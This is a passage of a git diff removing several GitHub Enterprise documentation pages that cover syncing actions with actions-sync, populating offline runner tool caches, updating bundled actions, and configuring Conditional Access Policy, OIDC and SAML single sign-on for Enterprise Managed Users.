variables.location.product_location %}. See [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom). - -## Prerequisites - -* Before using the `actions-sync` tool, you must ensure that all destination organizations already exist in your enterprise. The following example demonstrates how to sync actions to an organization named `synced-actions`. See [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). -* You must create a {% data variables.product.pat_generic %} on your enterprise that can create and write to repositories in the destination organizations. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). -* If you want to sync the bundled actions in the `actions` organization on {% data variables.location.product_location %}, you must be an owner of the `actions` organization. - - > [!NOTE] - > By default, even site administrators are not owners of the bundled `actions` organization. - - Site administrators can use the `ghe-org-admin-promote` command in the administrative shell to promote a user to be an owner of the bundled `actions` organization. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-org-admin-promote). - - ```shell - ghe-org-admin-promote -u USERNAME -o actions - ``` - -## Example: Using the `actions-sync` tool - -This example demonstrates using the `actions-sync` tool to sync an individual action from {% data variables.product.prodname_dotcom_the_website %} to an enterprise instance. - -> [!NOTE] -> This example uses the `actions-sync sync` command, which requires concurrent access to both the {% data variables.product.prodname_dotcom_the_website %} API and your enterprise instance's API from your machine. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. See the [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances). - -1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system. -1. Create a directory to store cache files for the tool. -1. In your terminal, change to the `bin` directory within the release directory you just extracted. For example: - - ```shell - cd PATH/TO/gh_DATETIME_OS_ARCHITECTURE/bin - ``` - -1. Run the `actions-sync sync` command: - - ```shell - ./actions-sync sync \ - --cache-dir "cache" \ - --destination-token "aabbccddeeffgg" \ - --destination-url "https://my-ghes-instance" \ - --repo-name "actions/stale:synced-actions/actions-stale" - ``` - - The above command uses the following arguments: - - * `--cache-dir`: The cache directory on the machine running the command. - * `--destination-token`: A {% data variables.product.pat_generic %} for the destination enterprise instance. - * `--destination-url`: The URL of the destination enterprise instance. - * `--repo-name`: The action repository to sync. This takes the format of `owner/repository:destination_owner/destination_repository`. - - * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. You must create the organization named `synced-actions` in your enterprise before running the above command. - * If you omit `:destination_owner/destination_repository`, the tool uses the original owner and repository name for your enterprise. Before running the command, you must create a new organization in your enterprise that matches the owner name of the action. Consider using a central organization to store the synced actions in your enterprise, as this means you will not need to create multiple new organizations if you sync actions from different owners. - * You can sync multiple actions by replacing the `--repo-name` parameter with `--repo-name-list` or `--repo-name-list-file`. See the [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync). -1. After the action repository is created in your enterprise, people in your enterprise can use the destination repository to reference the action in their workflows. For the example action shown above: - - ```yaml - uses: synced-actions/actions-stale@v1 - ``` - - See [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsuses). diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md deleted file mode 100644 index c14bbbdaac82..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Setting up the tool cache on self-hosted runners without internet access -intro: 'To use the included `actions/setup` actions on self-hosted runners without internet access, you must first populate the runner''s tool cache for your workflows.' -redirect_from: - - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access - - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access - - /admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access -versions: - ghes: '*' -type: tutorial -topics: - - Actions - - Enterprise - - Networking - - Storage -shortTitle: Tool cache for offline runners ---- -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About the included setup actions and the runner tool cache - -{% data reusables.actions.enterprise-no-internet-actions %} - -Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.prodname_ghe_server %}. However, self-hosted runners without internet access require some configuration before they can use the included `actions/setup-LANGUAGE` actions, such as `setup-node`. - -The `actions/setup-LANGUAGE` actions normally need internet access to download the required environment binaries into the runner's tool cache. Self-hosted runners without internet access can't download the binaries, so you must manually populate the tool cache on the runner. - -You can populate the runner tool cache by running a {% data variables.product.prodname_actions %} workflow on {% data variables.product.prodname_dotcom_the_website %} that uploads a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache as an artifact, which you can then transfer and extract on your internet-disconnected self-hosted runner. - -> [!NOTE] -> You can only use a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache for a self-hosted runner that has an identical operating system and architecture. For example, if you are using a `ubuntu-22.04` {% data variables.product.prodname_dotcom %}-hosted runner to generate a tool cache, your self-hosted runner must be a 64-bit Ubuntu 22.04 machine. For more information on {% data variables.product.prodname_dotcom %}-hosted runners, see [AUTOTITLE](/free-pro-team@latest/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). - -## Prerequisites - -* Determine which development environments your self-hosted runners will need. The following example demonstrates how to populate a tool cache for the `setup-node` action, using Node.js versions 14 and 16. -* Access to a repository on {% data variables.product.prodname_dotcom_the_website %} that you can use to run a workflow. -* Access to your self-hosted runner's file system to populate the tool cache folder. - -## Populating the tool cache for a self-hosted runner - -1. On {% data variables.product.prodname_dotcom_the_website %}, navigate to a repository that you can use to run a {% data variables.product.prodname_actions %} workflow. -1. Create a new workflow file in the repository's `.github/workflows` folder that uploads an artifact containing the {% data variables.product.prodname_dotcom %}-hosted runner's tool cache. - - The following example demonstrates a workflow that uploads the tool cache for an Ubuntu 22.04 environment, using the `setup-node` action with Node.js versions 14 and 16. - - ```yaml - name: Upload Node.js 14 and 16 tool cache - on: push - jobs: - upload_tool_cache: - runs-on: ubuntu-22.04 - steps: - - name: Clear any existing tool cache - run: | - mv "{% raw %}${{ runner.tool_cache }}" "${{ runner.tool_cache }}.old"{% endraw %} - mkdir -p "{% raw %}${{ runner.tool_cache }}{% endraw %}" - - name: Setup Node 14 - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: 14.x - - name: Setup Node 16 - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: 16.x - - name: Archive tool cache - run: | - cd "{% raw %}${{ runner.tool_cache }}{% endraw %}" - tar -czf tool_cache.tar.gz * - - name: Upload tool cache artifact - uses: {% data reusables.actions.action-upload-artifact %} - with: - path: {% raw %}${{runner.tool_cache}}/tool_cache.tar.gz{% endraw %} - ``` - -1. Download the tool cache artifact from the workflow run. For instructions on downloading artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts). -1. Transfer the tool cache artifact to your self hosted runner and extract it to the local tool cache directory. The default tool cache directory is `RUNNER_DIR/_work/_tool`. If the runner hasn't processed any jobs yet, you might need to create the `_work/_tool` directories. - - After extracting the tool cache artifact uploaded in the above example, you should have a directory structure on your self-hosted runner that is similar to the following example: - - ```text - RUNNER_DIR - ├── ... - └── _work - ├── ... - └── _tool - └── node - ├── 14.21.3 - │   └── ... - └── 16.16.0 - └── ... - ``` - -Your self-hosted runner without internet access should now be able to use the `setup-node` action. If you are having problems, make sure that you have populated the correct tool cache for your workflows. For example, if you need to use the `setup-python` action, you will need to populate the tool cache with the Python environment you want to use. diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md deleted file mode 100644 index e9f53b15313b..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Using the latest version of the official bundled actions -intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.' -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - GitHub Connect -redirect_from: - - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions - - /admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions -shortTitle: Use the latest bundled actions ---- -{% data reusables.actions.enterprise-github-hosted-runners %} - -Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance). - -These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections. - -## Using `actions-sync` to update the bundled actions - -To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom). - -## Using {% data variables.product.prodname_github_connect %} to access the latest actions - -You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.prodname_ghe_server %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). - -Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using `v1` of the `actions/checkout` action, and you need to use `{% data reusables.actions.action-checkout %}` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}: - -1. From an enterprise owner account on {% data variables.product.prodname_ghe_server %}, navigate to the repository you want to delete from the _actions_ organization (in this example `checkout`). -1. By default, site administrators are not owners of the bundled _actions_ organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="Site admin" %} in the upper-right corner of any page in that repository. -1. Click **{% octicon "shield-lock" aria-hidden="true" %} Security** to see an overview of the security for the repository. - - ![Screenshot of the site admin details for a repository. The "Security" link is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) -1. Under "Privileged access", click **Unlock**. -1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. -1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. - - ![Screenshot of the site admin details for the actions/checkout repository. The name of the repository, "checkout", is a link and is outlined.](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) -1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository. - - ![Screenshot of the site admin details for a repository. The "View code" link is highlighted with an orange outline.](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) -1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository). -1. Configure your workflow's YAML to use `{% data reusables.actions.action-checkout %}`. -1. Each time your workflow runs, the runner will use the specified version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}. - - > [!NOTE] - > The first time the `checkout` action is used from {% data variables.product.prodname_dotcom_the_website %}, the `actions/checkout` namespace is automatically retired on {% data variables.location.product_location %}. If you ever want to revert to using a local copy of the action, you first need to remove the namespace from retirement. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom). diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/about-support-for-your-idps-conditional-access-policy.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/about-support-for-your-idps-conditional-access-policy.md deleted file mode 100644 index cf2afe5c2907..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/about-support-for-your-idps-conditional-access-policy.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: About support for your IdP's Conditional Access Policy -shortTitle: Conditional access policy -intro: 'When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} can validate access to your enterprise and its resources using your IdP''s Conditional Access Policy (CAP).' -product: '{% data reusables.gated-features.emus %}' -versions: - feature: oidc-for-emu -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/about-support-for-your-idps-conditional-access-policy ---- - -{% data reusables.enterprise-accounts.azure-emu-support-oidc %} - -## About support for Conditional Access Policies - -{% data reusables.enterprise-accounts.emu-cap-validates %} - -{% data reusables.enterprise-accounts.emu-cap-public-preview %} - -{% data variables.product.github %} supports CAP for any {% data variables.enterprise.prodname_emu_enterprise %} where OIDC SSO is enabled. Enterprise owners can choose to use this IP allow list configuration instead of {% data variables.product.github %}'s IP allow list, and can do so once OIDC SSO is configured. For more information about IP allow lists, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list#about-your-idps-allow-list) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization). - -* {% data variables.product.github %} enforces your IdP's IP conditions but cannot enforce your device compliance conditions. -* Policies for multi-factor authentication are only enforced at the point of sign-in to the IdP. - -For more information about using OIDC with {% data variables.product.prodname_emus %}, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users) and [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc). - -## About CAP and deploy keys - -A deploy key is an SSH key that grants access to an individual repository. Because deploy keys do not perform operations on behalf of a user, CAP IP conditions do not apply to any requests authenticated with a deploy key. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). - -## Considerations for integrations and automations - -{% data variables.product.prodname_dotcom %} sends the originating IP address to your IdP for validation against your CAP. To make sure actions and apps are not blocked by your IdP's CAP, you will need to make changes to your configuration. - -{% data reusables.enterprise-accounts.oidc-gei-warning %} - -### {% data variables.product.prodname_actions %} - -Actions that use a {% data variables.product.pat_generic %} will likely be blocked by your IdP's CAP. We recommend that {% data variables.product.pat_generic %}s are created by a service account which is then exempted from IP controls in your IdP's CAP. - -If you're unable to use a service account, another option for unblocking actions that use {% data variables.product.pat_generic %}s is to allow the IP ranges used by {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses). - -### {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} may not be available if your enterprise uses OIDC SSO with CAP to restrict access by IP addresses. This is because codespaces are created with dynamic IP addresses which it's likely your IdP’s CAP will block. Other CAP policies may also affect {% data variables.product.prodname_github_codespaces %}'s availability, depending on the policy's specific setup. - -### The {% data variables.codespaces.serverless %} editor - -The {% data variables.codespaces.serverless %} editor may not be available if your enterprise uses OIDC SSO with CAP to restrict access by IP addresses. This is because {% data variables.codespaces.serverless %} relies on dynamic IP addresses which it's likely your IdP’s CAP will block. Other CAP policies may also affect {% data variables.codespaces.serverless %}'s availability, depending on the policy's specific setup. - -### {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} - -When {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} sign a user in and make requests on that user's behalf, {% data variables.product.prodname_dotcom %} will send the IP address of the app's server to your IdP for validation. If the IP address of the app's server is not validated by your IdP's CAP, the request will fail. - -When {% data variables.product.prodname_github_apps %} call {% data variables.product.prodname_dotcom %} APIs acting either as the app itself or as an installation, these calls are not performed on behalf of a user. Since your IdP's CAP executes and applies policies to user accounts, these application requests cannot be validated against CAP and are always allowed through. For more information on {% data variables.product.prodname_github_apps %} authenticating as themselves or as an installation, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -You can contact the owners of the apps you want to use, ask for their IP ranges, and configure your IdP's CAP to allow access from those IP ranges. If you're unable to contact the owners, you can review your IdP sign-in logs to review the IP addresses seen in the requests, then allow-list those addresses. - -If you do not wish to allow all of the IP ranges for all of your enterprise's apps, you can also exempt installed {% data variables.product.prodname_github_apps %} and authorized {% data variables.product.prodname_oauth_apps %} from the IdP allow list. If you do so, these apps will continue working regardless of the originating IP address. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#allowing-access-by-github-apps). - -## Further reading - -* [Using the location condition in a Conditional Access policy](https://learn.microsoft.com/entra/identity/conditional-access/location-condition) on Microsoft Learn diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-oidc-for-enterprise-managed-users.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-oidc-for-enterprise-managed-users.md deleted file mode 100644 index 7ca377b9bf77..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-oidc-for-enterprise-managed-users.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Configuring OIDC for Enterprise Managed Users -shortTitle: Configure OIDC -intro: 'Learn how to automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring OpenID Connect (OIDC) single sign-on (SSO) and enabling support for your IdP''s Conditional Access Policy (CAP).' -product: '{% data reusables.gated-features.emus %}' -versions: - feature: oidc-for-emu -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-oidc-for-enterprise-managed-users ---- - -{% data reusables.enterprise-accounts.azure-emu-support-oidc %} - -## About OIDC for Enterprise Managed Users - -With {% data variables.product.prodname_emus %}, your enterprise uses your identity provider (IdP) to authenticate all members. You can use OpenID Connect (OIDC) to manage authentication for your {% data variables.enterprise.prodname_emu_enterprise %}. Enabling OIDC SSO is a one-click setup process with certificates managed by {% data variables.product.prodname_dotcom %} and your IdP. - -{% data reusables.enterprise-accounts.emu-cap-validates %} See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). - -{% data reusables.enterprise-accounts.emu-cap-public-preview %} - -You can adjust the lifetime of a session, and how often a {% data variables.enterprise.prodname_managed_user %} needs to reauthenticate with your IdP, by changing the lifetime policy property of the ID tokens issued for {% data variables.product.prodname_dotcom %} from your IdP. The default lifetime is one hour. See [Configure token lifetime policies](https://learn.microsoft.com/en-us/entra/identity-platform/configure-token-lifetimes#create-a-policy-and-assign-it-to-a-service-principal) in the Microsoft documentation. - -To change the lifetime policy property, you will need the object ID associated with your {% data variables.product.prodname_emus %} OIDC. See [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/finding-the-object-id-for-your-entra-oidc-application). - ->[!NOTE] If you need assistance configuring the OIDC session lifetime, contact [Microsoft Support](https://support.microsoft.com). - -{% data reusables.enterprise_user_management.SAML-to-OIDC-migration-for-EMU %} - -{% data reusables.enterprise-accounts.oidc-gei-warning %} - -## Identity provider support - -Support for OIDC is available for customers using Entra ID. - -Each Entra ID tenant can support only one OIDC integration with {% data variables.product.prodname_emus %}. If you want to connect Entra ID to more than one enterprise on {% data variables.product.prodname_dotcom %}, use SAML instead. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). - -OIDC does not support IdP-initiated authentication. - -## Configuring OIDC for Enterprise Managed Users - -1. Sign into {% data variables.product.prodname_dotcom %} as the setup user for your new enterprise with the username **@SHORT-CODE_admin**. -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. Under "OIDC single sign-on", select **Enable OIDC configuration**. -1. To continue setup and be redirected to Entra ID, click **Save**. -{% data reusables.enterprise-accounts.emu-azure-admin-consent %} -{% data reusables.enterprise-accounts.download-recovery-codes %} -1. Click **Enable OIDC Authentication**. - -## Enabling provisioning - -After you enable OIDC SSO, enable provisioning. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users). - -## Enabling guest collaborators - -You can use the role of guest collaborator to grant limited access to vendors and contractors in your enterprise. Unlike enterprise members, guest collaborators only have access to internal repositories within organizations where they are a member. - -To use guest collaborators with OIDC authentication, you may need to update your settings in Entra ID. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/enabling-guest-collaborators). diff --git a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users.md b/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users.md deleted file mode 100644 index c2b98451bb3a..000000000000 --- a/content/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Configuring SAML single sign-on for Enterprise Managed Users -shortTitle: Configure SAML -intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring Security Assertion Markup Language (SAML) single sign-on (SSO).' -product: '{% data reusables.gated-features.emus %}' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users - - /admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users -versions: - ghec: '*' -type: tutorial -topics: - - Authentication - - Enterprise - - SSO ---- - -**Before** following the steps in this article, make sure that your enterprise uses **managed users**. You can do so by checking whether your enterprise view has the "Users managed by ACCOUNT NAME" header bar at the top of the screen. If you see this, your enterprise uses **managed users** and you can follow the steps in this article. - -If your enterprise uses **personal accounts**, you must follow a different process to configure SAML single sign-on. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -## About SAML SSO for {% data variables.product.prodname_emus %} - -With {% data variables.product.prodname_emus %}, access to your enterprise's resources on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} must be authenticated through your identity provider (IdP). Instead of signing in with a {% data variables.product.prodname_dotcom %} username and password, members of your enterprise will sign in through your IdP. - -After you configure SAML SSO, we recommend storing your recovery codes so you can recover access to your enterprise in the event that your IdP is unavailable. - -{% data reusables.enterprise_user_management.SAML-to-OIDC-migration-for-EMU %} - -## Prerequisites - -* Understand the integration requirements and level of support for your IdP. - - * {% data variables.product.company_short %} offers a "paved-path" integration and full support if you use a **partner IdP** for both authentication and provisioning. - * Alternatively, you can use any system or combination of systems that conforms to SAML 2.0 and SCIM 2.0. However, support for resolving problems with these systems may be limited. - - For more details, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). -* Your IdP must adhere to the SAML 2.0 specification. See the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website. -* You must have tenant administrative access to your IdP. -* If you're configuring SAML SSO for a new enterprise, make sure to complete all previous steps in the initial configuration process. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -## Configure SAML SSO for {% data variables.product.prodname_emus %} - -To configure SAML SSO for your {% data variables.enterprise.prodname_emu_enterprise %}, you must configure an application on your IdP, then configure your enterprise on {% data variables.product.github %}. After you configure SAML SSO, you can configure user provisioning. - -1. [Configure your IdP](#configure-your-idp) -1. [Configure your enterprise](#configure-your-enterprise) -1. [Enable provisioning](#enable-provisioning) - -### Configure your IdP - -1. If you use a partner IdP, to install the {% data variables.product.prodname_emu_idp_application %} application, click the link for your IdP and environment. - - {% rowheaders %} - - | Identity provider | App for {% data variables.product.prodname_dotcom_the_website %} | App for {% data variables.enterprise.data_residency_site %} | - | ----------------- | ------------- | ------------------- | - | Microsoft Entra ID | [{% data variables.product.prodname_emu_idp_application %}](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview) | [{% data variables.product.prodname_emu_idp_application %}](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview) | - | Okta | [{% data variables.product.prodname_emu_idp_application %}](https://www.okta.com/integrations/github-enterprise-managed-user) | [{% data variables.product.prodname_emu_idp_application %} - ghe.com](https://www.okta.com/integrations/github-enterprise-managed-user-ghe-com/) | - | PingFederate | [PingFederate downloads website](https://www.pingidentity.com/en/resources/downloads/pingfederate.html) (navigate to the **Add-ons** tab, then select **{% data variables.product.prodname_dotcom %} EMU Connector 1.0**) | [PingFederate downloads website](https://www.pingidentity.com/en/resources/downloads/pingfederate.html) (navigate to the **Add-ons** tab, then select **{% data variables.product.prodname_dotcom %} EMU Connector 1.0**) | - - {% endrowheaders %} - -1. To configure SAML SSO for {% data variables.product.prodname_emus %} on a partner IdP, read the relevant documentation for your IdP and environment. - - {% rowheaders %} - - | Identity provider | Documentation for {% data variables.product.prodname_dotcom_the_website %} | Documentation for {% data variables.enterprise.data_residency_site %} | - | ----------------- | ------------- | ------------------- | - | Microsoft Entra ID | [Microsoft Learn](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial) | [Microsoft Learn](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-enterprise-managed-user-ghe-com-tutorial) | - | Okta | [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users) | [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users) | - | PingFederate | [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate) ("Prerequisities" and "1. Configure SAML" sections) | [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate) ("Prerequisities" and "1. Configure SAML" sections) | - - {% endrowheaders %} - - Alternatively, if you don't use a partner IdP, you can use the SAML configuration reference for {% data variables.product.github %} to create and configure a generic SAML 2.0 application on your IdP. See [AUTOTITLE](/admin/identity-and-access-management/iam-configuration-reference/saml-configuration-reference). - -1. To test and configure your enterprise, assign yourself or the user that will configure SAML SSO for your enterprise on {% data variables.product.github %} to the application you configured for {% data variables.product.prodname_emus %} on your IdP. - - > [!NOTE] - > In order to test a successful authentication connection upon configuration, at least one user must be assigned to the IdP. - -1. To continue configuring your enterprise on {% data variables.product.github %}, locate and note the following information from the application you installed on your IdP. - - | Value | Other names | Description | - | :- | :- | :- | - | IdP Sign-On URL | Login URL, IdP URL | Application's URL on your IdP | - | IdP Identifier URL | Issuer | IdP's identifier to service providers for SAML authentication | - | Signing certificate, Base64-encoded | Public certificate | Public certificate that IdP uses to sign authentication requests | - -### Configure your enterprise - -After you configure SAML SSO for {% data variables.product.prodname_emus %} on your IdP, you can configure your enterprise on {% data variables.product.github %}. - -After the initial configuration of SAML SSO, the only setting you can update on {% data variables.product.github %} for your existing SAML configuration is the SAML certificate, which can be done by any member with the enterprise owner role. If you need to update the sign-on URL or issuer URL, you must first disable SAML SSO, then reconfigure SAML SSO with the new settings. For more information, see [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/disabling-authentication-for-enterprise-managed-users). - -{% data reusables.emus.sign-in-as-setup-user %} - - > [!NOTE] - > {% data reusables.enterprise-accounts.emu-password-reset-session %} - -1. If you're using a **non-partner IdP** (an IdP other than Okta, PingFederate or Entra ID), before enabling SAML, you must update a setting so that you will be able to set up SCIM using the REST API. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#configuring-provisioning-for-other-identity-management-systems). -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} - -1. Under "SAML single sign-on", select **Add SAML configuration**. -1. Under **Sign on URL**, type the HTTPS endpoint of your IdP for SSO requests that you noted while configuring your IdP. -1. Under **Issuer**, type your SAML issuer URL that you noted while configuring your IdP, to verify the authenticity of sent messages. -1. Under **Public Certificate**, paste the 